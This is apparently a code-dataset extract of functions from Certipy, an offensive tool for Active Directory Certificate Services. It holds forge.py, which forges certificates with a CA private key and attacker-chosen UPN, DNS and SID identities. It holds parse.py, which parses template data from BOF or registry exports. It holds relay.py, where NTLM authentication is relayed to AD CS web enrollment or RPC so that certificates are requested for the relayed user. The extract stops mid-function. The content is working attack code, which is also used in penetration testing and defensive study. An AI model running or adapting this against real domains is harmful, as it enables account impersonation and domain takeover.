MIT
def build_from_template( self, ca_private_key: CertificateIssuerPrivateKeyTypes, ca_public_key: CertificateIssuerPublicKeyTypes, ca_cert: x509.Certificate, ) -> Tuple[PrivateKeyTypes, bytes]: """ Build a certificate using an existing certificate as a template. Args: ca_private_key: CA private key ca_public_key: CA public key ca_cert: CA certificate Returns: Tuple of (certificate private key, PFX data) Raises: Exception: If loading the template fails """ if not self.template: raise ValueError("Template path is required") # Load template certificate with open(self.template, "rb") as f: template_pfx = f.read() key, template_cert = load_pfx(template_pfx) if key is None: raise Exception("Failed to load template private key") if template_cert is None: raise Exception("Failed to load template certificate") # Determine subject name subject = self.subject if subject is None: subject = template_cert.subject else: subject = get_subject_from_str(subject) # Determine serial number serial_number = ( self.get_serial_number() if self.serial else template_cert.serial_number ) # Start building certificate cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) # Set issuer name if self.issuer: cert_builder = cert_builder.issuer_name(get_subject_from_str(self.issuer)) else: cert_builder = cert_builder.issuer_name(ca_cert.subject) # Set public key, serial number, and validity period cert_builder = cert_builder.public_key(template_cert.public_key()) cert_builder = cert_builder.serial_number(serial_number) cert_builder = cert_builder.not_valid_before(template_cert.not_valid_before_utc) cert_builder = cert_builder.not_valid_after(template_cert.not_valid_after_utc) # Add authority key identifier cert_builder = cert_builder.add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_public_key), False, ) # List of extensions to skip from the template skip_extensions = [ x509.AuthorityKeyIdentifier.oid, x509.SubjectAlternativeName.oid, x509.ExtendedKeyUsage.oid, NTDS_CA_SECURITY_EXT, ] # Add CRL distribution point if specified crl_extension = self.get_crl() if crl_extension: skip_extensions.append(x509.CRLDistributionPoints.oid) cert_builder = cert_builder.add_extension(crl_extension, False) # Add S/MIME capability if specified smime_extension = self.create_smime_extension() if smime_extension: skip_extensions.append(SMIME_CAPABILITIES) cert_builder = cert_builder.add_extension(smime_extension, False) # Add application policies if specified application_policies_extension = self.create_application_policies() if application_policies_extension: skip_extensions.append(APPLICATION_POLICIES) cert_builder = cert_builder.add_extension( application_policies_extension, False ) # Copy remaining extensions from template extensions = template_cert.extensions for extension in extensions: if extension.oid in skip_extensions: continue cert_builder = cert_builder.add_extension( extension.value, extension.critical ) # Add subject alternative names sans = self.create_subject_alternative_names() if sans: cert_builder = cert_builder.add_extension( x509.SubjectAlternativeName(sans), False, ) # Add SID extension if specified sid_extension = self.create_sid_extension() if sid_extension: cert_builder = cert_builder.add_extension( sid_extension, False, ) # Get appropriate hash algorithm signature_hash_alg = self.get_allowed_hash_algorithm( template_cert.signature_hash_algorithm ) # Sign the certificate certificate = cert_builder.sign(ca_private_key, signature_hash_alg) # Create PFX pfx_data = create_pfx(key, certificate, self.pfx_password) return key, pfx_data
Build a certificate using an existing certificate as a template. Args: ca_private_key: CA private key ca_public_key: CA public key ca_cert: CA certificate Returns: Tuple of (certificate private key, PFX data) Raises: Exception: If loading the template fails
build_from_template
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def build_new_certificate( self, ca_private_key: CertificateIssuerPrivateKeyTypes, ca_public_key: CertificateIssuerPublicKeyTypes, ca_cert: x509.Certificate, ) -> Tuple[rsa.RSAPrivateKey, bytes]: """ Build a new certificate without a template. Args: ca_private_key: CA private key ca_public_key: CA public key ca_cert: CA certificate Returns: Tuple of (certificate private key, PFX data) """ # Generate new key pair key = generate_rsa_key(self.key_size) # Determine identification type and value if self.alt_upn: id_type, id_value = "UPN", self.alt_upn else: id_type, id_value = "DNS Host Name", self.alt_dns # Determine subject name subject = self.subject if subject is None: subject = get_subject_from_str( f"CN={cert_id_to_parts([(id_type, id_value)])[0]}" ) else: subject = get_subject_from_str(subject) # Determine serial number serial_number = self.get_serial_number() # Calculate validity period not_valid_before = datetime.datetime.now( datetime.timezone.utc ) - datetime.timedelta(days=1) not_valid_after = datetime.datetime.now( datetime.timezone.utc ) + datetime.timedelta(days=self.validity_period) # Start building certificate cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) # Set issuer name if self.issuer: cert_builder = cert_builder.issuer_name(get_subject_from_str(self.issuer)) else: cert_builder = cert_builder.issuer_name(ca_cert.subject) # Set public key, serial number, and validity period cert_builder = cert_builder.public_key(key.public_key()) cert_builder = cert_builder.serial_number(serial_number) cert_builder = cert_builder.not_valid_before(not_valid_before) cert_builder = cert_builder.not_valid_after(not_valid_after) # Add key identifiers cert_builder = cert_builder.add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_public_key), False, ) cert_builder = cert_builder.add_extension( x509.SubjectKeyIdentifier.from_public_key(key.public_key()), False, ) # Add CRL distribution point if specified crl_extension = self.get_crl() if crl_extension: cert_builder = cert_builder.add_extension(crl_extension, False) # Add S/MIME capability if specified smime_extension = self.create_smime_extension() if smime_extension: cert_builder = cert_builder.add_extension(smime_extension, False) # Add application policies if specified application_policies_extension = self.create_application_policies() if application_policies_extension: cert_builder = cert_builder.add_extension( application_policies_extension, False ) # Add subject alternative names sans = self.create_subject_alternative_names() if sans: cert_builder = cert_builder.add_extension( x509.SubjectAlternativeName(sans), False, ) # Add SID extension if specified sid_extension = self.create_sid_extension() if sid_extension: cert_builder = cert_builder.add_extension( sid_extension, False, ) # Get appropriate hash algorithm (default to same as CA cert) signature_hash_alg = self.get_allowed_hash_algorithm( ca_cert.signature_hash_algorithm ) # Sign the certificate certificate = cert_builder.sign(ca_private_key, signature_hash_alg) # Create PFX pfx_data = create_pfx(key, certificate, self.pfx_password) return key, pfx_data
Build a new certificate without a template. Args: ca_private_key: CA private key ca_public_key: CA public key ca_cert: CA certificate Returns: Tuple of (certificate private key, PFX data)
build_new_certificate
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def determine_output_filename(self, id_type: str, id_value: Optional[str]) -> str: """ Determine the output filename for the forged certificate. Args: id_type: Identification type (UPN, DNS) id_value: Identification value Returns: Output filename """ # Use specified output filename if provided if self.out: return self.out # Try to generate filename from certificate ID name, _ = cert_id_to_parts([(id_type, id_value)]) if not name: logging.warning( "Failed to generate output filename from certificate ID. Using current timestamp." ) name = datetime.datetime.now().strftime("%Y%m%d%H%M%S") # Clean up and format filename return f"{name.rstrip('$').lower()}_forged.pfx"
Determine the output filename for the forged certificate. Args: id_type: Identification type (UPN, DNS) id_value: Identification value Returns: Output filename
determine_output_filename
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def forge(self) -> None: """ Forge a certificate with the specified parameters. This is the main method that performs the certificate forgery process. Raises: ValueError: If required parameters are missing Exception: If certificate forgery fails """ # Load CA certificate and private key ca_private_key, ca_cert = self.load_ca_certificate_and_key() ca_public_key = ca_private_key.public_key() # Determine identification type and value for filename if self.alt_upn: id_type, id_value = "UPN", self.alt_upn else: id_type, id_value = "DNS Host Name", self.alt_dns # Build certificate (from template or new) if self.template: _, pfx = self.build_from_template(ca_private_key, ca_public_key, ca_cert) else: _, pfx = self.build_new_certificate(ca_private_key, ca_public_key, ca_cert) # Save PFX to file out_path = self.determine_output_filename(id_type, id_value) logging.info(f"Saving forged certificate and private key to {out_path!r}") out_path = try_to_save_file(pfx, out_path) logging.info(f"Wrote forged certificate and private key to {out_path!r}")
Forge a certificate with the specified parameters. This is the main method that performs the certificate forgery process. Raises: ValueError: If required parameters are missing Exception: If certificate forgery fails
forge
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def create_self_signed_ca(self) -> None: """ Create a self-signed CA certificate. This method generates a self-signed CA certificate and saves it to the specified output file. """ # Generate new key pair key = generate_rsa_key(self.key_size) # Create self-signed CA certificate subject = x509.Name( [ x509.NameAttribute(x509.NameOID.COMMON_NAME, "Certipy CA"), ] ) if self.subject: subject = get_subject_from_str(self.subject) else: logging.warning("No subject specified, using default: 'Certipy CA'") issuer = subject # Set serial number and validity period serial_number = self.get_serial_number() not_valid_before = datetime.datetime.now( datetime.timezone.utc ) - datetime.timedelta(days=1) not_valid_after = datetime.datetime.now( datetime.timezone.utc ) + datetime.timedelta(days=self.validity_period) # Start building certificate cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) cert_builder = cert_builder.issuer_name(issuer) cert_builder = cert_builder.public_key(key.public_key()) cert_builder = cert_builder.serial_number(serial_number) cert_builder = cert_builder.not_valid_before(not_valid_before) cert_builder = cert_builder.not_valid_after(not_valid_after) # Add key identifiers cert_builder = cert_builder.add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(key.public_key()), False, ) cert_builder = cert_builder.add_extension( x509.SubjectKeyIdentifier.from_public_key(key.public_key()), False, ) # Sign the certificate signature_hash_alg = hashes.SHA256() certificate = cert_builder.sign(key, signature_hash_alg) # Create PFX pfx_data = create_pfx(key, certificate, self.pfx_password) # Save PFX to file out_path = self.out if out_path is None: out_path = "ca.pfx" if not out_path.endswith(".pfx"): out_path += ".pfx" logging.info(f"Saving self-signed CA certificate to {out_path!r}") out_path = try_to_save_file(pfx_data, out_path) logging.info(f"Wrote self-signed CA certificate to {out_path!r}")
Create a self-signed CA certificate. This method generates a self-signed CA certificate and saves it to the specified output file.
create_self_signed_ca
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def entry(options: argparse.Namespace) -> None: """ Command-line entry point for certificate forgery. Args: options: Command line arguments """ try: # Create and run the forger forge = Forge(**vars(options)) if options.ca_pfx: forge.forge() else: forge.create_self_signed_ca() except Exception as e: logging.error(f"Certificate forgery failed: {e}") handle_error()
Command-line entry point for certificate forgery. Args: options: Command line arguments
entry
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def __init__( self, domain: str = "UNKNOWN", ca: str = "UNKNOWN", sids: List[str] = [], published: List[str] = [], **kwargs, # type: ignore ): """ Initialize the certificate template parser. Args: domain: Domain name for the templates (default: UNKNOWN) ca: Certificate Authority name (default: UNKNOWN) sids: List of SIDs to resolve in ACLs published: List of templates published by the CA kwargs: Additional arguments to pass to Find base class """ # Set up for offline analysis target = Target( DnsResolver.create(), domain=domain, username="unknown", target_ip="unknown", ) super().__init__(target, dc_only=True, **kwargs) # Store instance variables self.domain = domain self.ca = ca self.sids = sids self.published = published self.file = None # Mappings between registry keys and LDAP attribute names self.mappings = { "DisplayName": "displayName", "ValidityPeriod": "pKIExpirationPeriod", "RenewalOverlap": "pKIOverlapPeriod", "ExtKeyUsageSyntax": "pKIExtendedKeyUsage", "Security": "nTSecurityDescriptor", # Maps common registry names to their corresponding LDAP attributes }
Initialize the certificate template parser. Args: domain: Domain name for the templates (default: UNKNOWN) ca: Certificate Authority name (default: UNKNOWN) sids: List of SIDs to resolve in ACLs published: List of templates published by the CA kwargs: Additional arguments to pass to Find base class
__init__
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def connection(self) -> RegConnection: # type: ignore """ Get or create a registry connection for SID resolution. Returns: RegConnection object for SID resolution """ if self._connection is not None: return self._connection self._connection: Optional[RegConnection] = RegConnection( self.domain, self.sids ) return self._connection
Get or create a registry connection for SID resolution. Returns: RegConnection object for SID resolution
connection
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def get_certificate_authorities(self) -> List[RegEntry]: # type: ignore """ Get certificate authorities. Creates a mock CA entry with the provided templates for analysis. Returns: List containing a single mock CA RegEntry if templates are published, otherwise an empty list """ if not self.published: return [] # Create a mock CA entry with the published templates ca = RegEntry( **{ "attributes": { "cn": "Unknown", "name": self.ca, "dNSHostName": "localhost", "cACertificateDN": "Unknown", "cACertificate": None, "certificateTemplates": self.published, "objectGUID": "Unknown", } } ) return [ca]
Get certificate authorities. Creates a mock CA entry with the provided templates for analysis. Returns: List containing a single mock CA RegEntry if templates are published, otherwise an empty list
get_certificate_authorities
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def parse(self, file: str) -> None: """ Parse certificate templates from a file. Args: file: Path to the file containing template data """ self.file = file # Ensure the file exists file_path = Path(file) if not file_path.exists(): logging.error(f"File not found: {file}") return logging.info(f"Parsing templates from {file}") # Use the find functionality to analyze the parsed templates self.find()
Parse certificate templates from a file. Args: file: Path to the file containing template data
parse
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def get_certificate_templates(self) -> List[RegEntry]: # type: ignore """ Parse certificate templates from BOF output. Returns: List of RegEntry objects representing certificate templates """ templates = [] if self.file is None: raise ValueError("File not set for parsing") try: with open(self.file, "r", encoding="utf-8") as f: contents = f.read() # Remove timestamp headers from BOF output data = re.sub( r"\n\n\d{2}\/\d{2} (\d{2}:){2}\d{2} UTC \[output\]\nreceived output:\n", "", contents, ) lines = iter(data.splitlines()) template = None pending_line = None registry_key_prefix = "HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache\\" # Process each line while True: try: line = pending_line if pending_line is not None else next(lines) pending_line = None # Start of a new template if registry_key_prefix in line: if template is not None: templates.append(template) # Initialize new template with name from registry key template = RegEntry() parts = line.split("\\") template_name = parts[-1] template.set("cn", template_name) template.set("name", template_name) template.set("objectGUID", template_name) continue # Process registry values if line.startswith("\t"): line = line.strip() parts = re.split(r"\s+", line, maxsplit=2) if len(parts) < 2: continue name = parts[0] datatype = parts[1] # Process different registry value types if datatype == "REG_DWORD": data = int(line.split("REG_DWORD")[1].strip()) elif datatype == "REG_SZ": data = line.split("REG_SZ")[1].strip() elif datatype == "REG_MULTI_SZ": data = line.split("REG_MULTI_SZ")[1].strip() data = [] if data == "" else data.split("\\0") elif datatype == "REG_BINARY": data = [] # Binary data may span multiple lines while True: try: next_line = next(lines) if not next_line.startswith(" "): # Save for next iteration pending_line = next_line break else: data.extend( re.split(r"\s+", next_line.strip()) ) except StopIteration: break # Convert hex strings to bytes data = bytes.fromhex("".join(data)) else: logging.debug(f"Unknown value type: {datatype}") continue # Map registry names to LDAP attributes if applicable if name in self.mappings: name = self.mappings[name] # Set the attribute in the template if template is not None: template.set(name, data) except StopIteration: break except Exception as e: logging.debug(f"Error parsing line: {e}") continue # Add the last template if template is not None: templates.append(template) except Exception as e: logging.error(f"Error parsing BOF file: {e}") handle_error() return [] logging.info(f"Parsed {len(templates)} templates from BOF output") return templates
Parse certificate templates from BOF output. Returns: List of RegEntry objects representing certificate templates
get_certificate_templates
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def get_certificate_templates(self) -> List[RegEntry]: # type: ignore """ Parse certificate templates from a .reg file. Returns: List of RegEntry objects representing certificate templates """ templates = [] if self.file is None: raise ValueError("File not set for parsing") try: with open(self.file, "r", encoding="utf-16-le", newline="\r\n") as f: # Verify it's a registry file firstline = f.readline() if "Windows Registry Editor Version" not in firstline: raise ValueError( "Unexpected file format, Windows registry file expected" ) data = f.read() lines = iter(data.splitlines()) template = None registry_key_prefix = "[HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache\\" # Process each line for line in lines: try: # Start of a new template if line.startswith(registry_key_prefix): if template is not None: templates.append(template) # Initialize new template with name from registry key template = RegEntry() parts = line[1:-1].split("\\") template_name = parts[-1] template.set("cn", template_name) template.set("name", template_name) template.set("objectGUID", template_name) continue # Process registry values if line.startswith('"'): line = line.strip() key_value = line.split("=", 1) if len(key_value) < 2: continue name = key_value[0][1:-1] # Remove quotes raw_data = key_value[1] # Process different registry value types if raw_data.startswith('"'): # REG_SZ data = raw_data[1:-1] elif raw_data.startswith("dword:"): # REG_DWORD data = int("0x" + raw_data[6:], 16) # Handle signed values data = data if data < 2**31 else data - 2**32 elif raw_data.startswith("hex:"): # REG_BINARY data = self._parse_hex_data(raw_data[4:], lines) elif raw_data.startswith("hex(7):"): # REG_MULTI_SZ hex_data = self._parse_hex_data(raw_data[7:], lines) data = hex_data.decode("utf-16le").rstrip("\x00") data = [] if data == "" else data.split("\x00") else: logging.debug(f"Unknown value type: {raw_data}") continue # Map registry names to LDAP attributes if applicable if name in self.mappings: name = self.mappings[name] # Set the attribute in the template if template is not None: template.set(name, data) except Exception as e: logging.debug(f"Error parsing line: {e}") continue # Add the last template if template is not None: templates.append(template) except Exception as e: logging.error(f"Error parsing registry file: {e}") handle_error() return [] logging.info(f"Parsed {len(templates)} templates from registry file") return templates
Parse certificate templates from a .reg file. Returns: List of RegEntry objects representing certificate templates
get_certificate_templates
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def _parse_hex_data(self, initial_data: str, lines_iter: Iterator[str]) -> bytes: """ Parse hex data that might span multiple lines. Args: initial_data: The initial hex data string lines_iter: Iterator for the file lines Returns: Bytes object containing the parsed hex data """ values = [] data = initial_data # Process hex data that can span multiple lines (indicated by trailing backslash) while True: values.extend(data.replace(",\\", "").split(",")) if not data.endswith("\\"): break try: data = next(lines_iter).strip() except StopIteration: break return bytes.fromhex("".join(values))
Parse hex data that might span multiple lines. Args: initial_data: The initial hex data string lines_iter: Iterator for the file lines Returns: Bytes object containing the parsed hex data
_parse_hex_data
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def get_parser( parser_type: ParserType, domain: str, ca: str, sids: List[str], published: List[str], **kwargs, # type: ignore ) -> Parse: """ Factory function to get the appropriate parser. Args: parser_type: Type of parser to create domain: Domain name ca: CA name sids: List of SIDs published: List of published templates kwargs: Additional arguments Returns: Appropriate parser instance Raises: ValueError: If an unsupported parser type is provided """ if parser_type == ParserType.BOF: return ParseBof(domain, ca, sids, published, **kwargs) elif parser_type == ParserType.REG: return ParseReg(domain, ca, sids, published, **kwargs) else: raise ValueError(f"Unsupported parser type: {parser_type}")
Factory function to get the appropriate parser. Args: parser_type: Type of parser to create domain: Domain name ca: CA name sids: List of SIDs published: List of published templates kwargs: Additional arguments Returns: Appropriate parser instance Raises: ValueError: If an unsupported parser type is provided
get_parser
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def entry(options: argparse.Namespace) -> None: """ Command-line entry point for the parse functionality. Args: options: Command line arguments """ # Extract and remove parse-specific options domain = options.domain ca = options.ca sids = options.sids or [] published = options.published or [] file_path = options.file parser_format = options.format.lower() # Remove processed options for opt in ["domain", "ca", "sids", "published", "file", "format"]: options.__delattr__(opt) # Validate input file if not file_path or not Path(file_path).exists(): logging.error(f"Input file not found: {file_path}") return try: # Create and use the appropriate parser parser_type = ParserType(parser_format) parser = get_parser( parser_type=parser_type, domain=domain, ca=ca, sids=sids, published=published, **vars(options), ) parser.parse(file_path) except ValueError as e: logging.error(f"Error: {e}") logging.error( f"Supported parser formats: {', '.join([p.value for p in ParserType])}" ) except Exception as e: logging.error(f"Parse failed: {e}") handle_error()
Command-line entry point for the parse functionality. Args: options: Command line arguments
entry
python
ly4k/Certipy
certipy/commands/parse.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/parse.py
MIT
def __init__(self, adcs_relay: "Relay", *args, **kwargs): # type: ignore """ Initialize the HTTP relay server. Args: adcs_relay: The parent Relay object args: Arguments to pass to the parent class kwargs: Keyword arguments to pass to the parent class """ super().__init__(*args, **kwargs) self.adcs_relay = adcs_relay
Initialize the HTTP relay server. Args: adcs_relay: The parent Relay object args: Arguments to pass to the parent class kwargs: Keyword arguments to pass to the parent class
__init__
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def initConnection(self) -> Literal[True]: # noqa: N802 """ Establish a connection to the AD CS Web Enrollment service. Returns: True if connection was successful """ logging.debug(f"Using target: {self.adcs_relay.target}...") logging.debug(f"Base URL: {self.adcs_relay.base_url}") logging.debug(f"Path: {self.target.path}") logging.debug(f"Using timeout: {self.adcs_relay.timeout}") self.session = httpx.Client( base_url=self.adcs_relay.base_url, verify=False, timeout=self.adcs_relay.timeout, headers={ "User-Agent": USER_AGENT, }, ) self.lastresult = None # Prepare the target path if self.target.path == "": self.path = "/" else: self.path = self.target.path logging.debug(f"Using path: {self.target.path}") logging.debug(f"Using path: {self.path}") return True
Establish a connection to the AD CS Web Enrollment service. Returns: True if connection was successful
initConnection
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def sendAuth( # noqa: N802 # type: ignore self, authenticate_blob: bytes, _server_challenge: Optional[bytes] = None ) -> Tuple[Optional[bytes], int]: """ Send authentication data to the target with proper locking to prevent race conditions. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code) """ while not self.adcs_relay.attack_lock.acquire(): time.sleep(0.1) response = None, STATUS_ACCESS_DENIED try: response = self._send_auth(authenticate_blob) except Exception as e: logging.error(f"Failed to authenticate: {e}") handle_error() response = None, STATUS_ACCESS_DENIED finally: self.adcs_relay.attack_lock.release() return response
Send authentication data to the target with proper locking to prevent race conditions. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code)
sendAuth
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def _send_auth(self, authenticate_blob: bytes) -> Tuple[Optional[bytes], int]: """ Process and send authentication data to the target. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code) """ # Extract the NTLM token from SPNEGO if needed if ( unpack("B", authenticate_blob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP ): resp = SPNEGO_NegTokenResp(authenticate_blob) token = resp["ResponseToken"] else: token = authenticate_blob # Parse NTLM authentication response response = NTLMAuthChallengeResponse() response.fromString(data=token) # Extract domain and username from response # TODO: Support unicode domain = response["domain_name"].decode("utf-16le") username = response["user_name"].decode("utf-16le") # Store the authenticated user for later use self.session.user = f"{domain}\\{username}" # type: ignore # Build authorization header with NTLM token auth = base64.b64encode(token).decode() headers = {"Authorization": f"{self.authenticationMethod} {auth}"} # Make authenticated request to AD CS res = self.session.get(self.path, headers=headers) if res.status_code == 401: logging.error("Got unauthorized response from AD CS") return None, STATUS_ACCESS_DENIED else: logging.debug( f"HTTP server returned status code {res.status_code}, treating as successful login" ) # Cache the response self.lastresult = res.read() return None, STATUS_SUCCESS
Process and send authentication data to the target. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code)
_send_auth
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def __init__( self, config: NTLMRelayxConfig, target: object, targetPort: Optional[int] = None, # noqa: N803 extendedSecurity: bool = True, # noqa: N803 ): """ Initialize the RPC relay server. Args: serverConfig: NTLMRelayxConfig object with relay settings target: Target information targetPort: Target RPC port (default: uses port mapping) extendedSecurity: Whether to use extended security """ rpcrelayclient.ProtocolClient.__init__( self, config, target, targetPort, extendedSecurity ) # Set up RPC endpoint details self.endpoint = "ICPR" self.endpoint_uuid = MSRPC_UUID_ICPR netloc: str = target.netloc # type: ignore # Find the appropriate RPC binding string logging.info( f"Connecting to ncacn_ip_tcp:{netloc}[135] to determine {self.endpoint} stringbinding" ) self.stringbinding = epm.hept_map( netloc, self.endpoint_uuid, protocol="ncacn_ip_tcp" ) logging.debug(f"{self.endpoint} stringbinding is {self.stringbinding}")
Initialize the RPC relay server. Args: serverConfig: NTLMRelayxConfig object with relay settings target: Target information targetPort: Target RPC port (default: uses port mapping) extendedSecurity: Whether to use extended security
__init__
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def sendAuth( # noqa: N802 # type: ignore self, authenticate_blob: bytes, server_challenge: Optional[bytes] = None ) -> Tuple[Optional[bytes], int]: """ Send authentication data to the target RPC service. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code) """ # Extract the NTLM token from SPNEGO if needed if ( unpack("B", authenticate_blob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP ): resp = SPNEGO_NegTokenResp(authenticate_blob) auth_data = resp["ResponseToken"] else: auth_data = authenticate_blob # Send the authentication data to the target self.session.sendBindType3(auth_data) # type: ignore # Test if authentication was successful by sending a dummy request try: req = rpcrelayclient.DummyOp() self.session.request(req) # type: ignore return None, STATUS_SUCCESS except rpcrelayclient.DCERPCException as e: # Expected error codes for successful auth but invalid operation if "nca_s_op_rng_error" in str(e) or "RPC_E_INVALID_HEADER" in str(e): return None, STATUS_SUCCESS elif "rpc_s_access_denied" in str(e): return None, STATUS_ACCESS_DENIED else: logging.info(f"Unexpected RPC error from {self.stringbinding}: {e}") return None, STATUS_ACCESS_DENIED except Exception as e: logging.info(f"Unexpected error from {self.stringbinding}: {e}") return None, STATUS_ACCESS_DENIED
Send authentication data to the target RPC service. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code)
sendAuth
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def __init__(self, adcs_relay: "Relay", *args, **kwargs): # type: ignore """ Initialize the HTTP attack client. Args: adcs_relay: The parent Relay object args: Arguments to pass to the parent class kwargs: Keyword arguments to pass to the parent class """ super().__init__(*args, **kwargs) self.adcs_relay = adcs_relay
Initialize the HTTP attack client. Args: adcs_relay: The parent Relay object args: Arguments to pass to the parent class kwargs: Keyword arguments to pass to the parent class
__init__
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def run(self) -> None: # type: ignore """ Execute the certificate request attack with proper locking. """ while not self.adcs_relay.attack_lock.acquire(): time.sleep(0.1) try: self._run() except Exception as e: logging.error(f"Failed to run attack: {e}") handle_error() finally: self.adcs_relay.attack_lock.release()
Execute the certificate request attack with proper locking.
run
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def _run(self) -> None: """ Main attack logic - request or retrieve a certificate for the relayed user. """ # Check if we've already attacked this target and should skip if ( not self.adcs_relay.no_skip and self.client.user in self.adcs_relay.attacked_targets ): logging.debug( f"Skipping user {self.client.user!r} since attack was already performed" ) return # Handle template enumeration mode if self.adcs_relay.enum_templates: self._enumerate_templates() return # Handle certificate retrieval or request request_id = self.adcs_relay.request_id if request_id: self._retrieve_certificate(request_id) else: self._request_certificate()
Main attack logic - request or retrieve a certificate for the relayed user.
_run
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def _enumerate_templates(self) -> None: """ Enumerate available certificate templates from Web Enrollment. """ # Request the certificate request page res = self.client.get("/certsrv/certrqxt.asp") content = res.text # Parse the HTML to extract templates soup = bs4.BeautifulSoup(content, "html.parser") select_tag = cast( Optional[bs4.Tag], soup.find("select", {"name": "lbCertTemplate", "id": "lbCertTemplateID"}), ) if select_tag: option_tags = select_tag.find_all("option") print(f"Templates Found for {self.client.user!r}:") for option in option_tags: if not isinstance(option, bs4.Tag): continue value = option["value"] if not isinstance(value, str): logging.warning( f"Got unexpected value type {type(value)} for template {option.text}: {value!r}" ) continue split_value = value.split(";") if len(split_value) > 1: print(split_value[1]) return self.finish_run()
Enumerate available certificate templates from Web Enrollment.
_enumerate_templates
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def _retrieve_certificate(self, request_id: int) -> None: """ Retrieve a certificate by request ID. Args: request_id: The ID of the certificate request to retrieve """ result = web_retrieve( self.client, request_id, ) if result is not None: handle_retrieve( result, request_id, self.client.user, self.adcs_relay.out, self.adcs_relay.pfx_password, ) return self.finish_run()
Retrieve a certificate by request ID. Args: request_id: The ID of the certificate request to retrieve
_retrieve_certificate
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def _request_certificate(self) -> None: """ Request a new certificate for the relayed user. """ # Choose appropriate template based on username template = self.config.template if template is None: template = "Machine" if self.username.endswith("$") else "User" # Generate certificate signing request csr, key = create_csr( self.username, alt_dns=self.adcs_relay.alt_dns, alt_upn=self.adcs_relay.alt_upn, alt_sid=self.adcs_relay.alt_sid, subject=self.adcs_relay.subject, key_size=self.adcs_relay.key_size, application_policies=self.adcs_relay.application_policies, smime=self.adcs_relay.smime, ) # Handle key archival if specified if self.adcs_relay.archive_key: logging.info( f"Trying to retrieve CAX certificate from file {self.adcs_relay.archive_key}" ) with open(self.adcs_relay.archive_key, "rb") as f: cax_cert = f.read() cax_cert = der_to_cert(cax_cert) logging.info("Retrieved CAX certificate") csr = create_key_archival(csr, key, cax_cert) csr = base64.b64encode(csr).decode() csr = f"-----BEGIN PKCS7-----\n{csr}\n-----END PKCS7-----" else: csr = csr_to_pem(csr).decode() # Build certificate attributes attributes = create_csr_attributes( template, alt_dns=self.adcs_relay.alt_dns, alt_upn=self.adcs_relay.alt_upn, alt_sid=self.adcs_relay.alt_sid, ) result = web_request( self.client, self.client.user, csr, attributes, template, key, self.adcs_relay.out, ) if result is not None: handle_request_response( result, key, self.client.user, 